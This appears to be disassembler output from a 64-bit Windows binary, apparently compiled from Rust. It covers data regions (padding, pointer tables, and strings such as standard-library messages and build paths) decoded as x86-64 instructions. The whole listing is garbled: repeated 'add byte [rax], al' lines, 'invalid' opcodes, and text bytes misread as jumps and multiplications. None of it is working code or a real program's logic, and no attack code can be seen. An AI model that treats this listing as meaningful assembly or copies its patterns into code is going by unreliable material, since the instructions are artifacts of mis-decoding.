add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rsp + rax]
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add eax, dword [rbx]
add al, 4
add al, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rdi
imul ebp, dword [rsi + 0x64], 0x2073776f
jae 0x14014752e
imul ebp, dword fs:[rdi + 0x20], 0x63206e69
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x140147535
insb byte [rdi], dx
and byte gs:[rbp + 0x6f], ch
and byte gs:[rdi + rbp*2 + 0x65], ah
jae 0x1401474f3
outsb dx, byte [rsi]
outsd dx, dword [rsi]
je 0x1401474f7
jae 0x14014754e
jo 0x14014754b
outsd dx, dword [rsi]
jb 0x140147552
and byte [rdi + 0x72], dh
imul esi, dword [rcx + rbp*2 + 0x6e], 0x6f6e2067
outsb dx, byte [rsi]
sub eax, 0x2d465455
cmp byte [rax], ah
invalid
je 0x14014755a
and byte [rbx + 0x65], dh
jno 0x14014756f
jno 0x14014756f
outsb dx, byte gs:[rsi]
invalid
add byte [rax], al
mov byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test eax, 0x3c000000
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3c000000], ch
add byte [rax], al
add byte [rbp + 0x6e], dl
push rbp
outsb dx, byte [rsi]
js 0x1401475bd
js 0x1401475bd
invalid
invalid
and byte [rsi + 0x75], ch
insd dword [rdi], dx
invalid
outsd dx, dword [rsi]
and byte [rdx + 0x79], ah
je 0x1401475c6
jae 0x140147583
outsw dx, word [rsi]
jb 0x140147587
imul ebp, dword [rsi + 0x63], 0x6c706d6f
je 0x1401475d6
je 0x1401475d6
and byte [rbp + 0x54], dl
sub eax, 0x6f632038
jo 0x1401475ed
imul ebp, dword [rsi + 0x74], 0x2e
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75], cl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
cmp al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax + 0x1401473], cl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x36000000], al
add byte [rax], al
add byte [rax + 0x1401473], cl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x11000000], al
add byte [rax], al
add byte [rax + 0x1401473], cl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
mov byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
mov byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov bl, 0
add byte [rax], al
adc eax, 0x55000000
push rbp
outsb dx, byte [rsi]
add byte [rax], al
add byte [rdi + 0x11000000], al
add byte [rax], al
add byte [rax + 0x1401473], cl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x15000000], dh
add byte [rax], al
add byte [rbp + 0x6e], dl
push rbp
outsb dx, byte [rsi]
js 0x140147685
invalid
add byte [rax], al
add cl, dl
add byte [rax], al
add byte [rcx], ch
add byte [rax], al
add byte [rax + 0x1401473], cl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dl, bl
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rsi + 0x61], ah
invalid
invalid
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
push 0x6f
imul ebp, dword [rsi + 0x20], 0x74206e6f
push 0x64616572
cmp ah, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
test al, 0x76
adc al, 0x40
add dword [rax], eax
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
jae 0x140147756
pop rsp
jae 0x140147758
invalid
add byte [rax], al
and byte [rdi + 0x14], dh
add dword [rax], eax
add byte [rax], al
add byte ss:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x1401477ce
jb 0x1401477e8
pop rsp
jae 0x1401477e6
pop rsp
jae 0x1401477e8
invalid
je 0x140147839
outsb dx, byte [rsi]
and byte [ebp + esi*2 + 0x72], ah
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 4], ah
add byte [rax], al
invalid
ja 0x14014784f
add dword [rax], eax
add byte [rax], al
invalid
add al, bh
ja 0x140147867
add dword [rax], eax
add byte [rax], al
invalid
add byte [rbp + 0x61], ch
insd dword [rdi], dx
invalid
imul ebp, dword [rsi], 0x7262696c
insb byte [rdi], dx
invalid
invalid
jb 0x1401478d3
insd dword [rdi], dx
jo 0x14016f64a
jns 0x14016f620
outsd dx, dword [rsi]
jae 0x14016f64f
outsb dx, byte fs:[rsi]
invalid
outsb dx, byte [rsi]
jbe 0x14016f649
insb byte [rdi], dx
imul esp, dword [rax + rdx*2 + 0x6f], 0x6e497472
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x14016f654
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413476
jb 0x14016f664
jae 0x14016f674
outsb dx, byte [rsi]
jbe 0x14016f666
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413676
jb 0x14016f676
jae 0x14016f686
outsb dx, byte [rsi]
jbe case.0x14008c40b.73
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x6f], 0x6e69616d
push 0x63617261
je 0x14016f68d
jb 0x14016f67c
push rdx
insb byte [rdi], dx
invalid
push rdx
insb byte [rdi], dx
invalid
insb byte [rdi], dx
push rdi
imul esi, dword [rax + rbp*2 + 0x43], 0x6f6e6e61
je 0x14016f697
invalid
invalid
invalid
push rbx
je 0x14016f6ab
outsd dx, dword [rsi]
jae 0x14016f6da
outsb dx, byte [rsi]
invalid
push rbp
jb 0x14016f6e4
jbe 0x14016f6e0
jb 0x14016f6e3
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x14016f6ea
outsb dx, byte [rsi]
je 0x14016f6e9
jb 0x14016f6f4
invalid
jb 0x14016f6c9
and byte [rbp + 0x6e], ah
je 0x14016f6f9
jb 0x14016f6fb
and byte fs:[rbp + 0x6e], dh
and byte [rbp + 0x6e], dh
jb 0x14016f701
invalid
outsb dx, byte [rsi]
imul ebp, dword [rsi + 0x6f], 0x77
outsb dx, byte [rsi]
and byte [rbx + 0x74], dh
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x14016f74b
pop rsp
push rbp
jae 0x14016f741
jb 0x14016f73a
invalid
invalid
outsd dx, dword [rsi]
pop rsp
jb 0x14016f74c
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x14016f754
jae 0x14016f75f
je 0x14016f75e
jb 0x14016f766
jns 0x14016f74a
pop rsp
jae 0x14016f762
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
js 0x14016f726
invalid
jb 0x14016f75c
je 0x14016f762
jae 0x14016f72d
imul ebp, dword [rdi + 0x2d], 0x37316636
sub eax, 0x37316636
xor dh, byte fs:[rdx]
invalid
jb 0x14016f79b
sal dh, 1
invalid
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
and byte [rax + rax + 0x40], ch
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rdx], dl
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
sbb byte [rax], dl
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lock sbb byte [rax], dl
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
push rax
sbb dword [rax], edx
add dword [rax], eax
add byte [rax + 0x19], dl
adc byte [rax + 1], al
add byte [rax], al
add byte [rax + 0x1401014], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1401014], dl
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
adc byte [rax + rdx], 0x40
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
adc al, 0x10
add dword [rax], eax
add byte [rax], al
and byte [rax + rax + 0x40], ch
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp eax, dword [0x14016f8e7]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x3b], al
add eax, 0x140
add byte [rax - 9], ch
invalid
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x23], dh
ja case.0x14001a1b4.53
and edx, dword [rcx]
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x1401123], bl
popfq
and edx, dword [rcx]
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x1401123], dh
mov cl, 0x23
and edx, dword [rcx]
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add bl, ah
jrcxz 0x14016fc0d
invalid
add byte [rax], al
jrcxz 0x14016fc0d
adc dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], dl
adc byte [rcx + rdx], ah
and al, 0x11
adc dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], bh
and al, 0x11
add dword [rax], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x24], ah
adc dword [rax + 1], eax
add byte [rax], al
add byte [rbp + 0x24], bh
adc dword [rax + 1], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x23], dl
adc dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x23], dl
adc dword [rax + 1], eax
add byte [rax], al
add byte [rax], al
stosb byte [rdi], al
and al, 17
add dword [rax], eax
add byte [rax], al
invalid
and al, 17
add dword [rax], eax
add byte [rax], al
or byte [0x140183c47], ah
add byte [rax], al
cmp byte [0x140183c4f], ah
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
and eax, 0
add byte [rax], al
add byte [rsi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rcx + 0x12], bl
add dword [rax], eax
add byte [rax], al
cmp byte [rcx + 0x12], bl
add dword [rax], eax
add byte [rax], al
pop rdx
pop rcx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdi + 0x59], bh
adc al, byte [rax + 1]
add byte [rax], al
add byte [rbp + 0x1401259], bl
add byte [rax], al
add bh, al
pop rcx
adc al, byte [rax + 1]
add byte [rax], al
add ch, ch
pop rcx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdx + rbx*2], al
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdx], bh
pop rdx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rcx + 0x5a], dl
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdx + 0x140125a], al
add byte [rax], al
add al, bl
pop rdx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rbx], al
pop rbx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdi], dh
pop rbx
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14016fd2d], dl
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
stosb byte [rdi], al
and al, 17
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], bh
ret 0x4013
ja 0x14017202b
loope 0x14017205e
adc eax, dword [rax + 1]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x1f], bh
jle 0x140172033
jle 0x140172033
adc eax, dword [rax + 1]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], dl
invalid
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14017207d], dl
add byte [rax], al
add byte [rdx], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
sal ch, cl
invalid
invalid